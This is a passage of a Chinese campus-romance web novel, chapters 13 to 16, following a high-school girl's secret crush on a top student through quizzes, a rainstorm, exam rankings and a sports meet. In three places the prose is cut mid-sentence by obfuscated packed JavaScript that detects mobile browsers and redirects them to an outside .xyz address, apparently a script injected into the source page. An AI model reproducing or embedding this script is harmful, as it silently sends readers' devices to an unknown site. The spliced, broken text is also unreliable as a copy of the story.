这话说的陈以昭无语至极,不知道该回答什么,落在梁钦眼中就是默认,顿时来了精神,伸手就要抓肩,陈以昭后退一步,冷声说:“那是班主任要求的,换成其他人我也会帮忙,而且我不喜欢游手好闲的,不喜欢逃课飙车的,不喜欢烫头喝酒的……” 她停顿片刻,挑着眉轻笑,“最重要的是,我不喜欢成绩差的。” “我可以学。” “在中职学吗?”陈以昭抱着手目光上下打量,毫不掩饰嘲笑,“梁钦,实话给你说吧,我的大学目标是清华,我会去到更广阔的天地,未来也会遇到更多优秀且志同道合的人,你喜欢我,那是因为我本身就很好,可你没有好到值得我去喜欢,我又为什么要去选择你,你明白吗?” 梁钦脸色煞白,张了张嘴却不知道怎么反驳,因为陈以昭说的每一个字都是真实存在的。 好歹同学一场,陈以昭也不是那种咄咄逼人的性格,歪头看着梁钦,语气轻松不少,“换个思路想,你长的不错,喜欢你的女生也不少,你的喜欢应该留给值得的人。” “你真的对我一点感觉也没有?”梁钦红着眼,整个人看起来委屈可怜。 陈以昭没有回答,而是抬手拍了拍他的肩膀,笑着挥手,“再见了,初中同学。” 她背着手离开,并未注意到从厕所出来的方知韫。 原本是一家人旅游结束随便找个店吃晚饭,没想到还意外听到告白被拒的现场,虽然没听到前面,但也没有打扰,等人离开才走了出来洗手。 梁钦正难过自己还没开始就失去的感情,正酝酿情绪,没想到厕所有人,红着眼愣在原地,为了不丢脸,只能清了清嗓子左右张望,故作镇定的进了厕所,实际上有种欲盖弥彰的尴尬。 方知韫余光扫了一眼,又快速收回目光,看着女生渐行渐远的背影,他并没有认出陈以昭,因为梁钦喊出名字的一瞬间正好被水流声挡住,他只有些好奇,能说出这种话的女生该是什么样的性格,无论如何,应该是极其自信明媚的。 他总是会对与众不同的人感到好奇,除此之外还有欣赏。 四季周而复始,山水应有相逢。 也许未来,他们会在清华再相见。 14. 第十四章 七天的长假转瞬即逝,回到学校的学生们就像一群被强行塞回笼子的鸟,身进了鸟笼,心还留在广袤的天地,跟打了鸡血一样振奋,晚自习的铃声也丝毫没能压下满教室的窃窃私语。 “我跟你们说,那个大摆锤太刺激了!” “你们有没有看那个韩剧,男主也太帅了吧。” “有没有时空机,能不能让我穿越回放假的那一天啊!不~想~上~课~” …… 所有人都还没从假期的快乐中清醒过来,陈以昭也是心不在焉,指尖转着笔,另一只手撑着下巴,目光飘向窗外漆黑的夜空,半点静不下心来学习。 就在这时,后门砰一声被推开。 李文民黑着一张脸站在门口,凌厉的目光扫过整个教室,学生们被吓了一跳,所有的声音都戛然而止,连忙垂下脑袋避免对视,只剩下几个男生背对着后门没发现,还在侃侃而谈,等发现气氛不对劲扭头,正好看见黑着脸的李文民,尴尬地笑了笑。 “笑笑笑,还好意思笑!整栋楼!就你们班最吵!”李文民的声音高了八个度,震的人耳朵难受,连门都仿佛抖了抖,“我一路走过来,人家隔壁班一点声音都没有全在自习,再看看你们班!像是来学习的吗?不想学趁早回去,还能在学校门口摆摊卖炸洋芋!” 这话一出,大家想笑又不敢笑,憋的十分难受,周斐扁着嘴不让嘴角上扬,模样十分搞笑,被瞪了一眼又连忙低下头。 李文民怒气冲冲继续咆哮,“学生没学生样,满脑子都是玩,再让我听见一点声音,每天晚自习延长半小时!” 被训斥了一通,等李文民走了教室里依旧鸦雀无声,只听到翻书和小声背诵的声音,不过总算有了点学习的气氛。 晚自习的铃声响起,大家都如蒙大赦,却又不敢大声喧哗,连收拾东西的动作都轻手轻脚,生怕李文民又从哪个角落里冒出来,给他们一通骂。 温梨和郭佳佳招呼陈以昭一起回宿舍,陈以昭继续看着手里的练习册,头也没抬的摆摆手:“你们先回去吧,我今天的单词还没背完。” 等教室里的人陆陆续续走了大半,陈以昭抬头扫视了一圈,剩下的都是赵轩何夕他们这种勤奋努力的,教室里比刚刚还要安静,只有走廊时不时传来的说话声。 大家都在做着自己的事,陈以昭看了一会儿,翻开单词本开始无声背起单词,等今天的单词背完教室里的时钟过去了半个小时,教室里还剩五六个人,她才收拾好东西离开。 走到教学楼前,下意识地转身抬头,不少教室都还亮着灯,尤其是实验班那一层,永远是最后熄灯的,明明才是高一,却无端让人感到压力,仿佛明天就是高考一样。 陈以昭心头微动,只觉得有些累,没有直接回宿舍,而是脚步一转,朝着学校小卖部走去。 十月初的天气虽算不上寒冷,但夜间的风已经带着凉意,吹的树枝左右摇晃,陈以昭却买了根冒着冷气的雪糕,叼在嘴里,慢悠悠地往宿舍晃。 路过操场时,隔着栏网,里面传来的各种声音,陈以昭左右张望瞥了一眼,一个熟悉的身影闯入她的视线,嘴里雪糕的甜凉让她精神一振,整个人都精神起来,虽然灯光昏暗又隔了点距离,但她还是认出来那是方知韫,没有人比她更熟悉方知韫的背影。 他没穿校服外套而是一件黑色的T恤,露出的手臂线条不似人那么青涩,依旧带着那副蓝色的耳机,额发随着步伐微微晃动,在路灯的照射下能够看见鬓角的汗珠,双臂每一次的摆动,胸腔也会随之起伏,连呼吸的频率都是一致的,神情专注目光坚定,就这么一圈又一圈。 陈以昭也不着急回宿舍了,叼着雪糕找了个位置坐下,隔着栏网,目光追随着跑道上那个移动的身影。 夜风轻轻拂过她的脸颊,就这么看着,所有的压力和疲惫都消失不见,比兴奋剂还管用,陈以昭想:方知韫可能不是人,是妖怪变的,专吃自己这种无知少女的芳心。 她咬着雪糕棍,胡思乱想着,忽然想起前几天偷看方知韫空间看到的照片,那应该是他一家人出去玩拍的合照,方知韫和他爸爸还挺像的,他妈妈瞧着就很有气场的模样。 其中最令陈以昭印象深刻的,是一张是他和一个胖乎乎小男孩的合影,照片上的小男孩笑得眼睛都眯成缝,圆圆的脸蛋胖胖的身,抱着一个迪迦奥特曼,对着镜头比耶,傻乎乎的有些可爱。 她猜测小男孩是方知韫的弟弟,紧接着就不受控的开始想象,方知韫小时候是不是也像他弟弟一样,脸蛋肉嘟嘟,笑起来傻乎乎的? “噗嗤。”想到这个画面,陈以昭忍不住笑出声来,她实在难以想象方知韫抱着奥特曼傻笑的模样,那画面太过诡异,她越想越觉得好笑,低着头,肩膀都微微耸动起来。 两个女生路过,被她突然的笑声吓了一跳,投来疑惑且害怕的眼神,正和陈以昭对上眼,她这才意识到自己的失态,赶紧捂着脸转过身,低声骂了自己几句,直到人走远还没从刚刚那种尴尬中反应过来。 夜风,汗水,昏暗的灯光,嘈杂的操场,以及那些模糊不清的人影。 再寻常不过的夜晚,可方知韫不知道,有个女孩坐在路灯下,看了他很久。 也许是因为又多了解方知韫一点,陈以昭一天的心情都很好,这份好心情持续到物理课前。 上课铃声一响,那位戴着眼镜瘦精精,脾气有点倔,被很多学生讨厌的物理老师就踩着铃声走进教室,比许多学生还要准时,仿佛在门口候场了一样。 他慢悠悠地踱上讲台,将手里的东西往讲桌上一放,清了清嗓子,“人都到齐了吧,没迟到的吧……” 话没说完,门口就响起了几个男生急促的声音,“报告!” “迟到一分钟,门口站十分钟吧,”他推了推眼镜,继续说:“开学一个多月了,来看看大家都学的怎么样,今天不上课,咱们考个随堂检测,课代表来把试卷发下去。” “覃老师,太过突然了吧?” “完了完了,我一点准备都没有啊!” 噩耗传来,教室里顿时一片哀嚎。 陈以昭也感到意外,不过她物理成绩一向不错,回想了这段时间的知识,虽然还有没弄明白的,但是却没有其他人那么担忧。 卷子从前面传了下来,陈以昭接过先粗略看了一眼,大多都是物理第一章和第二章的题,不过有几个填空题含了加速度的知识点,她转着笔思考了会儿,摊开试卷开始做,笔尖在纸上飞快地演算。 题目不算简单,但越是这样越有挑战性,陈以昭集中精神,整张卷子做完,还有点意犹未尽。 可能因为考了一场试耗费心力的缘故,所有人都像被霜打蔫的茄子一样,晚自习没精打采的,难得没什么人吵闹。 陈以昭正在被历史时间表时,物理课代表刘玥走了进来,朝陈以昭说:“陈以昭,覃老师让你去物理教研组办公室一趟。” 陈以昭有点惊讶,但还是立刻起身出去,刚走进物理办公室还没敲门,覃永朝她招了招手了,“来了啊。” 说完,他指着一张堆满卷子的桌子说:“你这次考的不错,你们班随堂小测的试卷你来改吧,就改选择题和填空题,大题我回头自己看。” 很多老师为了节约时间都会找学生改试卷,不过一般都是找自己课代表,陈以昭也是第一次来,不过覃老师对她还挺照顾的,她不大好拒绝,点了点头。 她刚拉开椅子坐下,一个熟悉的声音在办公室门口响起,“覃老师,物理作业收齐了。” 陈以昭的心猛地一跳,握笔的动作一僵,听见覃老师指了指一旁的办公桌,“放这儿吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011182|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方知韫走了过来将手里的作业本放下,正要离开,覃永又说:“正好,你们班下午的随堂小测我还没改,你来改吧,还是和之前一样。” 听起来方知韫不像是第一次帮覃永改试卷,果不其然,下一秒就点头答应,拉开陈以昭旁边那个办公桌的椅子坐了下来。 一中教师办公室的工位用满是缝隙的挡板隔开,两人被隔板挡着,只能通过缝隙看到一点。 除了开学那一天,这是两人第一次这么近的接触,陈以昭觉得空气中的氧气变得稀薄,手心都冒出了细汗。 她深吸一口气,平息下来急促的呼吸,拿起红笔批改面前的卷子,尽量的忽视掉身边另一个呼吸声,身后时不时响起覃老师的指点声,也不算太过尴尬。 “咚咚!”敲门声响起。 随之响起的是一个女老师的声音,“覃老师,你们班好像有学生晕过去了。” 覃永除了教高一几个班的物理,还当了高二(3)班的班主任,听这话也坐不住了,侧头吩咐了句,“你俩先改着,我去看看。” 就急匆匆和那个女老师走了,办公室里顿时安静下来,只剩下陈以昭和方知韫两个人。 太过安静了,以至于笔尖划过纸张的沙沙声被无限放大,陈以昭甚至能听到隔壁方知韫翻动试卷的动静,掀起了小小的风。 她在心里告诉自己要努力集中精神,可余光却不由自主地飘向另一边,微微侧头,透过挡板之间的缝隙,小心翼翼看着方知韫。 他正低头专注地批改着,缝隙的阴影将他的面容切分成几等分,增添了几分若隐若现的好看。 陈以昭看的很认真,一眼就看到方知韫在一道自己刚刚打了?的填空题上打了×,几乎是下意识的脱口而出,声音不大,但在寂静的办公室里格外清晰:“那个,填空题的第2题,题目里问了机械能守恒,所以答案在3.97~4.03区间都可以。” 方知韫握笔的手一顿,他抬起头,根据声音的来源扭头,目光越过挡板,通过缝隙,看到了另一侧少女亮亮的眼睛。 他率先低下头掏出草稿纸演算了一下,结果果然是在3.97~4.03区间,随即重新拿过自己刚刚批改的试卷翻看,干净利落地划掉了之前的×,写上了正确的分数。 “谢谢。”方知韫再次抬起头,隔着挡板看向身旁的人。 “不客气。”被那双眼注视着,陈以昭感觉自己的脸颊又开始发烫,赶紧低下头继续批改卷子。 方知韫也收回了目光。 不知道哪个班在放歌,声音通过风声飘了过来,混合着笔尖在卷子上划出的沙沙声,形成了了一个独立的屏障,将其他的一切都隔绝在外,整个世界,似乎就只剩下这间小小的办公室,以及挡板两边低头不语的两个人。 覃永回来的时候,陈以昭刚好改完,她站起身,将整理好的试卷放在桌上,“覃老师,我改好了。” “辛苦了啊,”覃永笑着点点头,“快回去吧。” “老师再见。”陈以昭说完,快步离开了办公室。 覃永拿起桌上的卷子随意翻了翻,又看看还在批改的方知韫,感叹道:“谁说女娃娃不适合学理,这丫头思维活跃,脑子转得快,学理的好苗子。” 说着,他看向自己课代表,半开玩笑半认真地说,“方知韫啊,你可得努力,这状元的头衔三年后能不能保住还真不一定。” 方知韫正好改完最后一张停笔,听到这话,想到刚刚那个女生指出自己错误的画面,他抬起头朝着覃永笑了笑,语气平静,却带着一种客观的认真:“我会的。” 顿了顿,又补充一句:“不过,她确实很优秀。” 没有刻意的夸赞,无关性别,无关其他,只是对于优秀之人的认可。 他有些想认识这个女生,可惜,没来得及。 15. 第十五章 距离开学过去了一个多月,黔一中的学生们还没适应黔一速度的快节奏学习方式,就在十月底的时候迎来了高一的第一次月考。 原本是只有高二高三有月考,可许多任课老师要去监考,时间协调不过来,学校领导又不想给高一的放假,一拍大腿,索性在教室里一起考吧。 平时再怎么玩闹,可毕竟是黔州最好的高中,里面的学生除了国际班都是凭本事考进来的,实力自然不容小觑,一旦到了考试,大多数学生还是认真对待,连课间的喧嚣都收敛了几分,只有临时抱佛脚的背书声。 连续三天的考试,榨干了所有人的精气神,每天都像行尸走肉一样,直到最后一科结束的铃声响起,整个教学楼才像活了起来,走廊和教室里炸开了锅,混合着吆喝声和讨论声。 陈以昭收拾好书包,还没走出教室,就听到到处在对答案的声音,有人欢呼雀跃,有人捶胸顿足。 她揉了揉发胀的太阳穴,感觉脑细胞都死完了,实在不想再看到一点关于学习的东西,也没有加入任何的讨论。 毕竟,成绩出来前,任何的答案都只会徒增烦恼,还不如放松心情,保持好状态去考后面的几科。 月考结束那天刚好是周五,陈以昭和温梨她们一起走出校门,夕阳在这群年轻的学生身上镀上一层温暖的金色,身上红白色的一中校服格明显,每个人的脸上都带着意气风发。 在学校门口,大家挥手告别各自踏上了回家的公交车,陈以昭则是习惯性地走向下一站公交站台,像过去无数次那样,有些傻有些固执,只为了在那个固定的位置,多看一眼方知韫罢了。 少女的每一次东张西望,其实都是刻意为之,阳光正好,微风和煦,所以,她又多喜欢他一点。 周末的假期是高中生难得的轻松,天气闷热的很,坐在家里不动也出了一身的汗,陈家鹏去派出所上班,江梅也去了超市看店,家里空荡荡的,陈以昭闲着没事也不想去出去,索性跟着江梅去超市帮忙。 江梅开的那间叫家家乐的超市在小区不远处,做的都是街坊邻居的生意,麻雀虽小,五脏俱全,又因为处于十字路口,地理位置好,生意一直不错,有时候忙不过来就把陈以昭叫过来帮忙,所以她早就对超市布局轻车熟路。 今天超市进货,正好陈以昭自告奋勇来帮忙,倒让江梅轻松不少,她在仓库整理新到的货品。 陈以昭就叼着一根荔枝味的真知棒,百无聊赖地趴在自家超市的收银台上,面前摊开一本数学练习册,一边刷题一边盯着店里,时不时帮来的客人结个账拿包烟指个路什么的,也不累,她干起来得心应手。 十月份黔州的气候变化很快,说冷吧也不对,说热吧又不合适,总是让人不知道该怎么穿衣服。 这不,刚刚的天气还艳阳高照闷的人出汗,一到下午,突然间天色阴沉,狂风大作,卷积着道路两旁的落叶,黑压压的云层压得很低,让人感到呼吸困难。 没一会儿,雨点噼里啪啦地砸了下来,落在雨棚上发出噼里啪啦的动静,原本还在街道上的行人用手挡着头纷纷躲避,连行驶的车辆都打开了雨刮器,偶尔还能听见几声惊呼。 陈以昭探头看了一眼,空气中弥漫着一股雨水打湿粉尘的湿润气息,刚刚的炎热也被凉爽的雨雾取代,吹来得风都含着湿气。 她用虎牙咬碎棒棒糖,咔嚓咔嚓嚼着,甜腻的荔枝味在口腔中蔓延开,看着越下越大的雨,打了个喷嚏,接着又低着头在草稿纸上演算过程。 “欢迎光临!” 就在这时,超市门口安装的的提示喇叭响起,一个穿着黑色T恤、头发微湿的男生走了进来,人刚走近就带来了一阵潮湿的水汽,在收银台面前停了下来。 “咚咚,”来人敲了敲玻璃桌面,随后男生压低的声音在超市响起,“老板,拿包喜贵。” 陈以昭满脑子都是试卷上的题目,机械的转身从身后的柜子上抽了一包喜贵出来,正准备递过去,一抬头,看清来人后,手收了回去,嘴角忍不住弯起一个促狭的弧度,眨了眨眼说:“不好意思啊同学,我们店……不、卖、给、未、成、年!” 她故意拖长了调子,语气调笑,眼睛亮晶晶地看着他面前的男生。 黎一帆闻声一愣,这才侧身垂眸,看清坐在收银台后的人后,紧绷的眉头瞬间舒展开,露出笑说:“是你啊,我就说这声音怎么听着有点耳熟,这超市是你家的?” “我妈的开的,”陈以昭放下笔站了起来,“我偶尔来帮忙看店。” “你住这附近吗?” “那儿,”陈以昭指了指不远处的小区,笑着反问,“你也住这附近?不对啊,那怎么以前没见过你?” “不是,王国一住在这里,他喊我们来他家打游戏,”说完担心陈以昭不知道王国一是谁,黎一帆又连忙补充,“王国一就是戴眼镜那个男生,那天砸到你也有他一份,你还有印象吗?” 经人提醒,陈以昭这才想起来医务室里戴眼镜的那个男生,点了点头。 黎一帆揉了揉把雨水打湿的头发,男生青涩的眉眼突显出来,他身体靠着收银台,歪着头打趣问,“小老板,那你这烟还卖吗?” 陈以昭挑了挑眉,朝人伸出手,“15。” 黎一帆果断给了钱,两人闲聊了几句,直到黎一帆手机响了,一接通就听见里面传来一阵咆哮声,“黎一帆,让你买包烟你买到哪儿去了?还等你打游戏了,操,又死了,我说,你是找不到回来的路了是吧,要不要爸爸去接你?” 早有准备的黎一帆把手机拿远了点,听电话那头声音小了点,才没好气说,“等着。” 说完,也不管对面人什么反应直接给挂了。 外面的雨势丝毫没有减弱的迹象,已经形成白蒙蒙的雨帘,地面上满是积水,陈以昭看了眼门外,好心问,“需要借伞吗?” 黎一帆也扭头看着门外,没说话,只是掏出手机,点开好友的二维码,放在收银台上推了过去,轻轻点了点桌面,“上次没加上,这次总该可以了吧。” 话说到这份上,陈以昭摸了摸鼻子,没有犹豫的拿出手机扫了他的二维码。 “偷太阳?”黎一帆看着手机屏幕上的太阳头像,还有那个Q.Q昵称,没忍住念出声,眉头一挑,带着点探究的笑意,“这网名挺有意思,有什么说法?” 陈以昭笑了笑没解释,只是低头打上备注。 哪个人没有点小秘密,黎一帆也没追问,只是把手机揣回兜里,笑着说,“走了,不打扰你看店了,学校见。” “真的不借把伞吗?”陈以昭探头又问了一遍。 回应她的,是黎一帆挥了挥手,一头扎进雨帘中的身影。 雨还在下,一点要停的迹象都没有,雨水顺着流进了两旁的下水道,路上到处都是避雨的行人,他们用手遮在头顶,跑起来时踩在水洼中的泥水飞溅,打湿了裤脚。 方知韫在暴雨中左右张望着,目光瞧见一家超市门口的雨棚,没有犹豫快步跑了过去,他刚从书店出来,没想到会遇到这么大的雨,本来打算在路边打个车,又担心怀里刚买的教材淋湿,只能先避避雨,等雨小点再说。 深灰色的连帽卫衣淋了雨后颜色变深,兜帽宽松地扣在头上,遮住了大半张脸,他背对着玻璃门站着,旁边的泡面箱子摞成小山,周围还有不少和他一样避雨的路人。 为了堆货,超市门口搭了个雨棚,江梅还放了便利店那种桌椅,方便别人泡泡面时有位置坐,瞧着像模像样的,平时下雨或者太阳太大,也有路人会在雨棚下面歇一会儿。 陈以昭听见有人跑进来避雨,抬头看过去,视线被箱子遮挡了大半,只看的见深灰色的卫衣衣角,她并未在意,继续和练习册上的几何题奋战。 超市里很安静,只有江梅在仓库整理货物的窸窣声,以及笔尖划过纸张的声音。 超市外是哗啦啦的雨声,仿佛整个世界都泡在水里,空气里弥漫着雨水落在泥土里的土腥味,潮湿,带着秋日的凉意。 方知韫的目光被旁边躲雨女人怀里的婴儿吸引,小宝宝穿着天线宝宝小波的连体衣,正趴在妈妈肩头盯着方知韫,圆圆的眼睛满是好奇,笑起来时只有一颗门牙,头上的天线更是顺着动作摇晃。 两人视线相交,方知韫没忍住心中的恶趣味,伸手用手指拨动了那根天线: 嗯,硬的。 小宝宝眨了眨眼,像是不明白这人在干嘛,笑的眼睛弯弯,伸出手抓住了方知韫的卫衣带子,女人这才注意到身后,轻轻扯了扯怀中的孩子,拍了拍他肉嘟嘟的手,压低声音训斥,“宝宝乖,不可以拽哥哥哦。” 然后抬头看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16018711|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后的男生,歉意笑笑,“不好意思啊。” 有些心虚的方知韫摆了摆手,一副好孩子的模样,“没事的。” 尚且不懂人心险恶的小宝宝看了看方知韫,又看了看自己妈妈,不明白自己为什么被训,嘴巴一瘪,眼睛一红,嚎啕大哭,女人只得左右摇晃哄着孩子。 哭声混合着雨声,交织成一首人间烟火,陈以昭再次探头看过去,人影晃动,只听得见很轻的交谈声,声音被雨水冲刷的失真。 她不知道,隔着超市的玻璃,她和方知韫处在同一个世界,却又被这场大雨隔绝在两个空间,只有雨水潮湿的气息,是他们关于这场记忆的共通点。 又过了十分钟,雨势渐渐小了,演变成毛毛细雨,方知韫看了眼手表,又看了眼雨势,犹豫了片刻还是不打算继续待在这里浪费时间,他将教材塞进卫衣里,准备离开。 越过堆放的纸箱时,只要再跨一步,身影将会暴露在陈以昭的视线范围中。 “昭昭,帮我拿一下剪刀。”江梅的声音从仓库中传来。 “哦!来了!”陈以昭应了一声,从抽屉里翻出剪刀,转身走向身后的仓库。 几乎是在转身的同时,方知韫的身影从卷帘门前走过,然后融入了雨幕渐小的街道,直到消失不见。 一个转身,一个离开。 距离在无声中拉远。 这场短暂的交集,如同炎炎夏日滴落在地面的汗珠,无声无息便被滚烫的温度蒸发,没有留下一点痕迹。 周末的时光倏忽而过,晚上返校时,所有人都是一副紧张的模样,对即将出来的月考成绩期待不已。 晚自习还没开始,月考成绩的排名表已经发给各班班长手上,赵轩前脚拿着排名表走进教室,后脚黑压压的人群就挤在讲台上,在那几张薄薄的名单上寻找着自己的名字,议论声压过了上课的铃声。 “我就猜到第一是方知韫,一点悬念都没有。” “1班不愧是1班啊,前十占了一半,太厉害了吧。” “无语,我怎么还没张梓熙分高啊?” “完了完了,400多名,要被我妈骂死了。” 叽叽喳喳的议论声在教室里响起,每个人脸上都藏不住事,情绪直白的表达出来,有的开心有的忧愁,陈以昭嫌挤没有去凑热闹,戴着耳机练习英语听力,温梨在一旁做地理,她们这个角落倒成了教室里最后一块净土。 两人都没说话,直到陈以昭手机的笔被前排的郭佳佳一把抢过,她才茫然的抬头看着面前手舞足蹈的人,发现听不清声音,摘下耳机疑惑问,“怎么了?” “陈以昭!你太牛逼了吧!”郭佳佳瞪大了眼,跟看怪物的激动大喊,“排名58!你是年级前一百唯一一个科创班的!” 郭佳佳的声音吸引了其他人的注意,他们围在陈以昭身旁,字里行间全是夸赞和佩服。 “陈以昭,平时藏的太深了,太厉害了吧!” “这下子老李做梦都得笑醒。” “真给五班长脸了,我看实验班的以后还拽不拽了!” 李文民走进教室时看到吵吵闹闹的众人,用力拍了拍门,厉声训斥,“吵什么,还不快点坐好!” 众人散开回到各自位置坐好,李文民将政治卷子放在讲台上,脸上都罕见地堆满了笑容,看着陈以昭的方向笑了笑,“都看到排名表了吧,咱们班这次月考表现的不错,尤其是陈以昭,年级58名,大家都要向她学习。” 底下爆发出热烈的掌声,夹杂着四面八方的夸奖。 陈以昭被夸得有些不好意思,表面平静实则心里满是开心,毕竟她自己这段时间很努力,这个结果是她应得的,余光对上温梨看过来的视线。 见人看过来,温梨努力地扯出一个笑容,轻声说:“昭昭,恭喜你。” 她的笑容很真诚,没有人看见那双眼中一闪而过的失落,和因用力而收紧泛白的指节。 温梨从郭佳佳口中知道了自己排名,全年级186,在科创班中算名次不错的,甚至在班上可以排到前列,无数人都难以达到的成绩,可对比陈以昭的名次却不值一提。 她第一次如此清晰地感觉到,人与人的距离并不是努力就能改变的,一种难以言喻的嫉妒混合着羡慕瞬间占据了温梨思绪,明知不应该,却无法控制。 16. 第十六章 一个晚自习的时间,整个高一年级都知道了月考排名情况,方知韫拿着刚收齐的入团申请书走向班主任办公室,刚到门口,就看见办公室的门虚掩着,里面传来老师们谈论的声音: “五班那个陈以昭,这次月考考的不错啊。” “没看到老李嘴都合不拢,这学生给他长脸了。” “物理组的覃老师特别喜欢她,说是学理的好苗子?” “对,上次还听老覃夸她呢,说她潜力不比1班的方知韫差。” “按照这个劲头,说不准高二分班能进1班。” 方知韫在门口顿住,听着“陈以昭”这个名字被反复地提及,他并不认识这个女生,却在一次一次的提及中记住了这个名字。 此时的方知韫还不知道,人与人的缘分很奇妙,总有太多无法解释的有迹可循,却也有冥冥中注定的早有定数。 他记住了这个名字,但也仅仅只记住了名字。 月考刚过去,同学们又恢复了每天两点一线的生活,全都沉浸在学习的氛围中无法自拔,入了秋,天气变得凉爽起来,与之而来的是运动会的消息。 各班班主任刚把消息通知下去,所有人都沸腾了,尤其刚入学的高一新生,仿佛只要不用埋头学习,什么活动都能让他们兴奋起来。 然而这份躁动在高一(1)班,却没有一点体现。 各班班长开了会拿到报名表就离开,不同于其他班争先恐后的报名,卫子尧所在的1班则是异常平静,大家低着头做着自己的题,除了几个同学给他面子假意听听,压根没多少人搭理讲台上宣布大事的班长。 “各位同学,你们有没有在听啊?”卫子尧举着空荡荡的报名表在手上晃了晃,脸上写满了生无可恋,苦口婆心劝着,“校运会的每个项目至少得报一个人,要是咱班一个都不报,是要扣班级量化分的。” 回应他的,是同学们埋头苦学的后脑勺以及翻书的沙沙声。 “校运会一个学年一次,这次错过了就得高二了,难道你们就不想高中生涯多一些美好回忆吗!” 教室里依旧鸦雀无声。 1班是实验重点班,能进1班的学生成绩自然是不用说的,时间都花费在学习上了,运动能力自然就忽视了,更别说这群学霸们对运动会的热情,显然远不及对一道竞赛题来的执着。 “梁嘉祺,”卫子尧看向角落里一个寸头男生,“我记得你中考1000米不是满分吗,你不参加?” 叫梁嘉祺的男生抬头看了看,不好意思笑了笑,“那不是为了中考多加几分吗。” “那这次为了班级荣誉就不可以了吗!” “体考结束我就没跑过了,回想起来,我都想死。” “能跑就行,又不奔着拿奖。” “我……”梁嘉祺看着卫子尧期待的眼神,拒绝的话始终说不出口,只能叹了口气,“行吧,我试试。” “没事没事,友谊第一,比赛第二!”卫子尧喜笑颜开的在报名表上登记,目光快速转动,看向在背经济学的何夕,声音拖的长长的,“羡~姐~” 杨羡抬头看着讲台上的人,不慌不忙推了推眼镜,语气平静的说,“我拒绝。” 卫子尧深受这个同桌的折磨,不敢造次,只好打其他人主意,使出浑身解数,软磨硬泡,好说歹说,又求到几个人,说辞都是一样的重在参与。 最后,卫子尧的目光,落在了坐在后排的方知韫身上,他思考一会儿还是打算试一试,深吸一口气,把报名表递过去,脸上堆起谄媚的笑,“知韫哥哥~” 不等他说完,方知韫头也不抬的拒绝,“没兴趣。” 语气没有波动,甚至连视线都没从物理竞赛书上移开。 虽然有心理准备,可听到冷漠无情的拒绝,卫子尧还是深受打击,一把抱住方知韫左右摇晃,开始鬼哭狼嚎,“哥,你是我亲哥啊,咱们兄弟一场,是异父异母的亲兄弟啊,整个学校的我最佩服的是你,你就帮帮兄弟吧,你个子高四肢长一看就是运动好苗子,有这么好的基础不要浪费啊,你真的能眼睁睁看到我被老班批斗,死不瞑目吗?” 方知韫被他晃的头晕,索性抬起右手盖在卫子尧脸上,把人推离自己,脑袋后仰,垂着眼冷笑一声:“放心,兄弟一场,你死了我会给你烧点纸钱,安心去吧。” 卫子尧一咬牙,祭出杀手锏:“这样!只要你报一个,我包你一个月的值日,说到做到!” 方知韫的眉头动了动,有人做值日确实节省很多时间可以背单词刷题,而且他并不像杨羡那样抗拒,参不参加主打一个看心情,看着卫子尧哀求的脸,又瞥了一眼那张空白报名表,最终,掌心向上一抬,四指勾了勾,惜字如金地吐出两个字:“拿来。” “好勒!” 卫子尧如蒙大赦,差点喜极而泣,快速的将手中的表格递了过去,连笔盖都给人打开,眨着眼看方知韫在跳高和男女4x100的位置写上了自己名字,心口悬着的大石头才终于落了下去。 与1班的愁云惨淡截然不同,赵轩拿着报名表回了5班,顿时都引起了无数讨论,同学们热火朝天的举手,极其的配合班长工作,尤其知道报名的学生可以不用参加晚自习后,更是积极。 “我要报100米,让你们瞧瞧我小飞豹的实力。” “不是吧任圆禾,你这小胳膊小腿的,你还报铅球?” “有没有人一起报跳远啊?有没有人?” “周斐,你是体育生,跳高和1500m就靠你了啊。” 赵轩被踊跃的同学们围在中间,笑得合不拢嘴,五班男生比女生多,又有周斐他们几个体育特长生,没花多少时间,许多项目都轻松报满,远远超出学校规定的最低要求。 大家纷纷举手,陈以昭也参与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029710|178189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其中,她报了200m和男女4x100m,就在这时,她身旁的温梨却举起手来,怯生生的声音不大,却异常清晰,“班长,我想报800m。” “啊?”赵轩看着柔柔弱弱说话轻声细语的温梨,以为自己听错了。 “温梨,你确定?”前排的郭佳佳转身过来,也是惊讶地瞪大了眼睛。 “800m跑下来累得要死,温梨,你怎么想的?” “学霸读书你能行,运动…实在不行,咱们还是不凑热闹了吧。” 各种关切和质疑的声音在四面八方响起。 温梨听着同学们的打趣,抿了抿唇轻轻笑了笑,轻声但坚定地说:“我可以的。” 她一边说着,余光却扫过陈以昭,又飞快垂下,声音更低了些,像是再告诉自己一样,“我想试试挑战自己,不试又怎么知道结果如何。” 